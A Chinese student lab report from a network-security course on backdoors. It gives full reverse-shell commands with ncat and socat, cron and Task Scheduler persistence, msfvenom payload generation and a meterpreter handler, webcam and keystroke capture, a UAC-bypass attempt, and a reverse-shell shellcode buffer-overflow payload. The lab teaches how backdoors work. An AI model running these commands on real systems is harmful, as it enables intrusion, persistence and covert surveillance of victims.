目录
2019-2020-2 20175303柴轩达 《网络对抗技术》Exp2 后门原理与实践
1.基础知识总结
(1)后门:是不经过正常认证流程而访问系统流程的通道。
(2)常见后门有:编译器后门、操作系统后门、应用程序后门、潜伏或伪装成特定应用的专用后门程序。
(3)布置后门的流程:<1>有一个后门程序;<2>将其放置在系统里;<3>使后门程序代码运行起来;<3>不被查杀软件查杀且不被防火墙发现。(常用技术有:反弹式连接;加密技术;隧道技术)。
(4)常用后门工具:
netcat:又名nc、ncat。是一个底层工具,进行基本的TCP.UDP数据收发,常与其他工具结合使用作为后门。
Linux:自带netcat,输入man nc
查看其使用说明。
Windows: 下载ncat.rar工具包到桌面。
meterpreter:是一个后门平台。其中有大量零件可调参数,用时组合可以生成可执行文件。
(5)后门启动:
任务计划程序——>新建任务计划——>触发器——>操作程序或脚本——>操作添加参数。
2.实验内容
任务一
(1)Linux获得Win Shell
输入ifconfig
查看到kali的IP地址为192.168.0.10
输入nc -l -p 5303
在Linux运行监听
windows在命令窗口进入桌面
在ncat文件目录下输入ncat.exe -e cmd.exe 192.168.0.10 5303
,使Windows反弹连接Linux
Linux下看到Windows的命令提示,可运行指令
(2)Win获得Linux Shell:
首先在Windows命令窗口中使用ipconfig
查看主机IP地址 192.168.3.27
windows在ncat.exe文件目录下输入ncat.exe -l -p 5303
打开windows 监听
Linux反弹连接windows:nc 192.168.3.27 5303 -e /bin/sh
windows下获得一个linux shell,可运行指令
(3)使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
crontab指令增加一条定时任务,"-e"表示编辑。
在kali端输入crontab -e
选择第二个编辑器
并添加下面这行代码后保存退出,表示在每个小时的第3分钟执行后面的那条指令。3 * * * * /bin/netcat 192.168.3.27 5303 -e /bin/sh
可以通过"crontab -l"来查看,"-l"表示list
下图为执行代码后的结果
任务二
使用socat获取主机操作Shell, 任务计划启动
socat,即Netcat++,是超级netcat工具。
右击计算机
—>点击计算机管理
点击任务计划程序
—>点击创建任务
设置任务名
新建触发器
新建操作,在程序或脚本
中选择socat.exe文件的路径,添加参数中填写tcp-listen:5303 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5303,同时把cmd.exe的stderr重定向到stdout上,然后确定
当时间到时,此时可以看到任务的状态为正在运行,同时会弹出一个cmd窗口。
在kali中输入指令socat - tcp:192.168.3.27:5303
,成功获得了一个shell
任务三
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=5303 -f exe > 20175303_backdoor.exe
命令生成生成20175303_backdoor.exe文件
其中LHOST是本地即Kali的IP
-f 生成文件的类型
输出到哪个文件
在Windows下执行ncat.exe -lv 5303 > 20175303_backdoor.exe
,使被控主机进入接收文件模式
在kali中执行nc 192.168.3.27 5303 < 20175303_backdoor.exe
出现下图表明文件传输成功
MSF打开监听进程
输入msfconsole
进入msf控制台
输入use exploit/multi/handler
设置payload
输入set payload windows/meterpreter/reverse_tcp
使用和生成后门程序时相同的payload
输入set LHOST 192.168.0.10
,设置本地ip
输入set LPORT 5303
设置本地端口
输入show options
查看选项
输入exploit
开始监听
在windows后门文件夹中运行后门程序
在kali端获取Windows的shell,可以输入dir来验证
任务四
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic
指令获取目标机截获一段音频(未成功)
使用webcam_snap
指令获取目标机摄像头
使用keyscan_start
和keyscan_dump
指令获取目标机击键记录
使用screenshot
指令获取目标机截图
使用getuid
指令查看当前用户,使用getsystem
指令进行提权操作(未成功)
参考同学博客试图修复getsystem功能后,仍未成功
使用background
命令之后会自动退出到msf的命令行下,得到session x,此处为session 1
在msf命令行下输入search bypassuac
再输入use exploit/windows/local/bypassuac
然后再输入set session (填写内容为你使用background查看到的session数值)
最后输入run(输入run后运行结果不正确)
当运行结果大致为图文所示内容时才对
任务五
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
在exploit database官网的shellcode找一个linux/x86平台的,用于反弹连接的shellcode下载下来。
打开下载下来的文件夹,复制这块地址
参考实验一的任务三
通过输入execstack -s pwn1
设置堆栈可执行
输入execstack -q pwn1
查询文件的堆栈是否可执行,显示X pwn1则表示可执行
输入echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
输入more /proc/sys/kernel/randomize_va_space
查看随机化是否关闭,如显示0则已关闭,2未关闭
输入perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
来将复制并加上0x01020304后得到的地址输入到input_shellcode里
在第一个终端中输入(cat input_shellcode;cat) | ./pwn1
运行pwn1
在第二个终端中输入ps -ef | grep pwn1
查看pwn1的进程号
查看pwn1的进程号为多少
输入gdb调试
…(具体请参考实验一博客)
最后找到栈顶(esp)中存放的地址为0xffffd20c
计算出shellcode地址就是0xffffd20c+4,即0xffffd210。
输入perl -e 'print "A" x 32;print"\x10\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
输入(cat input_shellcode;cat) | ./pwn1
运行pwn1
在另一台终端中输入msfconsole
打开msf控制台
输入use exploit/multi/handler
设置payload
输入set payload linux/x86/shell_reverse_tcp
使用和生成后门程序时相同的payload
输入set LHOST 192.168.0.10
,设置本地ip
输入set LPORT 4444
设置端口
输入show options
查看选项
输入exploit
开始监听后可以输入命令
3.问题与解决
问题1:在任务三windows运行后门程序时未运行成功
解决:原因是防火墙、实时防护等未关彻底,把实时防护、电脑管家设置里面的安全防护、防火墙都关掉才能正常实验
问题2:在任务四截取一段音频时未成功
解决:未解在网上搜没找到合适的解决办法,把有关声音的一切设置都打开了,并没有起到什么作用
问题3:在任务四getsystem提权时未成功
解决:未解决,参考其他同学的博客有相关解决方法,但并未奏效
4.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
随意的下载不是官方网站,大公司的软件或资料;硬盘磁盘U盘携带
(2)例举你知道的后门如何启动起来(win及linux)的方式?
1.被攻击者点击;
2.定时启动;
3.开机自启动;
4.缓冲区溢出攻击
(3)Meterpreter有哪些给你映像深刻的功能?
截取音频、启动摄像头、截屏、提权
(4)如何发现自己有系统有没有被安装后门?
答:查看注册表、进程、端口情况,使用杀毒软件。
5.实验总结与体会
答:通过本次实验,对后门注入攻击的基本原理有了初步的了解。其实实验本身不难,跟着老师视频学习,有了思路之后,先自己做,实在不会了参考一下别人博客绝大部分能做出来。做实验的时候总想操作一下别人的电脑,以后就可以监控他了哈哈。另外,通过这次实验真实的感受到自己有可能被攻击被监视,做实验关闭防火墙,关闭实时防护后,电脑还是会检测是否有不安全因素存在,有危险就发出警告,发现除了做实验用的后门被检测出来外,还有另外一个不知道是什么东西多警告,有点害怕,以后能保护好还是尽量保护好。
来源:https://www.cnblogs.com/cxd20175303/p/12514761.html